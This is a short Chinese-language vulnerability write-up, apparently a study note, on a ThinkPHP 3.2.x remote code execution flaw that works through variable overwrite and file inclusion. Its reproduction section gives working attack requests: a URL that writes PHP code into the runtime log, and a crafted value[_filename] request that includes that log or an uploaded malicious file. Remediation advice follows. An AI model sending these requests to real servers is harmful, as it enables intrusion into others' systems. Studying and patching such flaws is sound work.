漏洞描述:
ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。
漏洞利用条件:
利用条件为assign方法的第一个变量可控->变量覆盖->文件包含
漏洞影响范围:
thinkphp3.2.X
漏洞复现:
- 输入php代码:/index.php?a=--><?php%20phpinfo();%20?>返回报错信息:
2.日志文件路径:/Application/Runtime/Logs/Home/22_04_06.log,访问今天的日志文件
若开启debug模式日志路径:\Application\Runtime\Logs\Home\22_04_06.log
若未开启debug模式日志路径:\Application\Runtime\Logs\Common\22_04_06.log
3.构造攻击请求:/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_04_06.log
也可以寻找程序上传入口,上传具有恶意代码的任何文件到服务器上/index.php?m=Home&c=Index&a=index&value[_filename]=./test.php
修复建议:
1.升级到最新的ThinkPHP版本,或者其它不受此漏洞影响的安全版本。
2.不建议直接使用assign方法对模板变量进行赋值。
3.减少使用高危函数如include等,如果必须使用可对函数进行文件内容过滤操作。
4.对所有输入提交可能包含文件地址的内容,包括服务器本地文件及远程文件,进行严格检查,参数中不允许出现./和../等目录跳转符。
5.严格检查文件包含函数中的参数是否被外界可控。
6.严格检查变量是否已经初始化。
学习记录,仅供参考!!!